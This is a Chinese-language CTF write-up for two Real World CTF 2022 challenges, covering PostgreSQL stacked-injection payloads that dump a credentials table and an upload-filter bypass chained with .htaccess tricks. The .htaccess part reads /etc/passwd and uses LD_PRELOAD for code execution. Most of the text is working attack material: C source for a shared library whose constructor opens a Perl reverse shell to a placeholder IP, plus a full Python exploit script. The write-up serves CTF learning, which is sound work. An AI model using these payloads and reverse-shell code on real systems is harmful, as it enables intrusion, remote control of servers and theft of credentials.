2022rwctf

hack_into_sky

主要学习的点是postgresql的注入

测试注入点

' or 0<>'1
' or 1<>'1
' or substr('0',1)<>'0
' or substr('1',1)<>'0
' or substr(current_database(),3)<>'f
' or substr(current_database(),3)<>'a

测试堆叠注入

';SELECT concat(id,age,name,email,born),1 FROM target where id='1

爆表

';select tablename,schemaname from pg_tables where tablename like 'ta%' limit 1 offset 1;--

字段名

';SELECT column_name,1 FROM information_schema.columns WHERE table_name='target_credentials' limit 1 offset 0;--

爆值

';SELECT concat(id,account,password,access_key,secret_key),1 FROM target_credentials where  id ='1

RWDN

有两个端口,并且其中一个有源码,首先看一下check.js,可以发现是一个白名单

Object.keys(req.files).forEach(function(key){
var filename = req.files[key].name.toLowerCase();
var position = filename.lastIndexOf('.');
if (position == -1) {
return next();
}
var ext = filename.substr(position);
var allowexts = ['.jpg','.png','.jpeg','.html','.js','.xhtml','.txt','.realworld'];
if ( !allowexts.includes(ext) ){
res.status(400).send('Something error.');
return;
}
return next();
});
};
};

要想绕过这里,首先需要搞懂,他是如何检查的,简单搭个demo模拟一下

app.post('/upload', function(req, res) {
let sampleFile;
let uploadPath;
let userdir;
let userfile;
sampleFile = req.files[req.query.formid];
userdir = md5(md5(req.socket.remoteAddress) + sampleFile.md5);
userfile = sampleFile.name.toString();
if(userfile.includes('/')||userfile.includes('..')){
return res.status(500).send("Invalid file name");
}
uploadPath = '/uploads/' + userdir + '/' + userfile;
sampleFile.mv(uploadPath, function(err) {
if (err) {
return res.status(500).send(err);
}
res.send('File uploaded to http://47.243.75.225:31338/' + userdir + '/' + userfile);
});
});

文件上传部分非预期解

首先梳理一下流程吧,首先经过check()检查,而检查的时候,是对每一个文件都会进行检查的,然后再根据formid上传文件,如果sample是错的,那么就会导致md5错误,后面也就不会上传了。而这里就有一个逻辑漏洞,还挺巧妙地,感觉挺锻炼思维的。

首先我们看到foreach,那么就意味着他会检查每个文件,但是如果当有个文件无后缀的时候,他就直接到next()接下来就是上传文件阶段,而另一个文件则会返回400,但是他在upload函数内写的是根据formid确定上传文件,也就是说上传两个文件呢,一个为无后缀文件经过校验,到next(),另一个为其他文件但是formid为最终所需要上传的formid。

但是由于报错,无法回显文件的路径,但是可以发现samplefile的值是根据文件的内容以及其他一些信息进行确定(不涉及文件名),所以我们只要上传文件内容相同的两个文件,先获取到第一个文件的文件名即可
img

虽然会报出error的错误,但是文件已经成功上传了 。
img
img

可以任意文件上传,但是不解析php,等脚本,所以就是要修改apache的配置再去打

.htaccess修改配置

之前学过使用其他解析方式,但是这里就是一个默认的apache服务器,连cgi script都不行,首先使用.htaccess的errordocument读一下文件

ErrorDocument 404 %{file:/etc/apache2/apache2.conf}

发现开启了这个组件

ExtFilterDefine gzip mode=output cmd=/bin/gzip

这个组件可以自启动进程,并且.htaccess可以设置环境变量,因此我们可以使用LD_PRELOAD来实现RCE

首先是.so脚本内容

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
system("id");
}

接下来是.htaccess内容

SetEnv LD_PRELOAD /var/www/html/2d29bcb684acfee295dca4287d557044/tlif3.so
SetOutputFilter gzip
ErrorDocument 404 %{file:/etc/passwd}

最后是.c文件内容(后面编译为.so)

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void) // 构建 预执行属性
{

const char* cmdline = "perl -e 'use Socket;$i=\"xxx.xx.xx.xx\";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"bash -i\");};'";

// const char* cmdline = "perl /tmp/r3.pl > /tmp/r3pwn"

int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
system(cmdline);
}

下面放一下自己的脚本,比较杂乱,主要也是一直没成功,就没想改–

mport requests
import re
s=requests.session()
file_content=open('./tlif3.so','rb').read()

#print(file_content)
url="http://xx:31337/upload?formid=form-da7de2ee-e90c-4847-8956-9ead32e51fae"
headers={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Content-Type": "multipart/form-data; boundary=---------------------------7451049519834705901418075379",
"Connection": "close",
"Cookie": "PHPSESSID=b21e009db5586702c41fac89314ddd73; session=3005259290263220013%7CZEZrPpLs4Cf1IPmEi1S%2FgBj3DDa4msw9yaojKNBH6BxtMAxd4vCmixjte2t4QCy2F.EFulu3Nx8SigQj7mvZA.",
"Upgrade-Insecure-Requests": "1"
}
data=f"""-----------------------------7451049519834705901418075379\r\nContent-Disposition: form-data; name="form-da7de2ee-e90c-4847-8956-9ead32e51fae"; filename="1.txt"\r\nContent-Type: text/plain\r\n\r\n{file_content}\r\n-----------------------------7451049519834705901418075379--"""
r=s.post(url, headers=headers, data=data).text
path=re.findall('http://47.243.75.225:31338/(.*?)/1.txt',r)
print(r)
#发送exp文件
filename='tlif3.so'
url="http://xx:31337/upload?formid=b"

data=f"""-----------------------------7451049519834705901418075379\r\nContent-Disposition: form-data; name="a"; filename="null"\r\nContent-Type: text/plain\r\n\r\nabc\r\n-----------------------------7451049519834705901418075379\r\nContent-Disposition: form-data; name="b"; filename="{filename}"\r\nContent-Type: text/plain\r\n\r\n{file_content}\r\n-----------------------------7451049519834705901418075379--"""

r=s.post(url, headers=headers, data=data).text
print(r)
print('http://xx:31338/'+path[0]+"/"+filename)
so_path="/var/www/html/"+path[0]+"/"+filename
file_content="""SetEnv LD_PRELOAD """+so_path+"""
SetOutputFilter gzip
ErrorDocument 404 %{file:/etc/passwd}
"""
print(file_content)
#第二次 发送htaccess文件设置环境变量

url="http://1xx:31337/upload?formid=form-da7de2ee-e90c-4847-8956-9ead32e51fae"
data=f"""-----------------------------7451049519834705901418075379\r\nContent-Disposition: form-data; name="form-da7de2ee-e90c-4847-8956-9ead32e51fae"; filename="1.txt"\r\nContent-Type: text/plain\r\n\r\n{file_content}\r\n-----------------------------7451049519834705901418075379--"""
r=s.post(url, headers=headers, data=data).text
path=re.findall('http://xx:31338/(.*?)/1.txt',r)
print(r)

filename='.htaccess'
url="http://11xx:31337/upload?formid=b"

data=f"""-----------------------------7451049519834705901418075379\r\nContent-Disposition: form-data; name="a"; filename="null"\r\nContent-Type: text/plain\r\n\r\nabc\r\n-----------------------------7451049519834705901418075379\r\nContent-Disposition: form-data; name="b"; filename="{filename}"\r\nContent-Type: text/plain\r\n\r\n{file_content}\r\n-----------------------------7451049519834705901418075379--"""

r=s.post(url, headers=headers, data=data).text
print(r)
print('http://110xx0:31338/'+path[0]+"/"+filename)
url='http://1xx0:31338/'+path[0]+"/"
print(s.get(url=url).text)

调试了好久好久,最终还是没成功,想了一下原因,大概是因为环境问题吧,问了一下群里师傅们,发现payload里面设置环境变量写的也是正确的,但是却没有成功加载,一步一步排查错误,最后发现是由于linux架构不一样,导致编译以后的so在docker里面无法使用,会报错,而如果是在docker里面写一样的代码,然后编译,劫持LD,发现即可成功使用系统命令

img

文件上传部分预期解

原理参照一个小哥 在 discord 中发的内容: 如下 the proto file is not checked because Object.keys does not include properties from the prototype, but since the prototype is now an array we can use formid=1 to access that file again in the upload function

upload_url2 = "http://{}:{}/upload?formid={}".format(target_ip,target_upload_port,"1")
files = {
"__proto__": open(upload_file,"r"),
"decoy":("decoy","random"),
}

解决方案

遇到这个解决问题的话,解决方案可能也只有查看一下版本信息/proc/version然后去拉一个一样的docker,跑一下

小结一下

1.双文件上传绕过

2.利用htaccess读文件
3.打apche所以读配置文件
4.发现有进程可以劫持——>LD_PRELOAD实现RCE

参考:https://team-su.github.io/passages/2022-1-22-RWCTF/
https://r3kapig.com/writeup/20220125-rwctf4/

Author

vague huang

Posted on

2022-01-23

Updated on

2022-02-09

Licensed under

Comments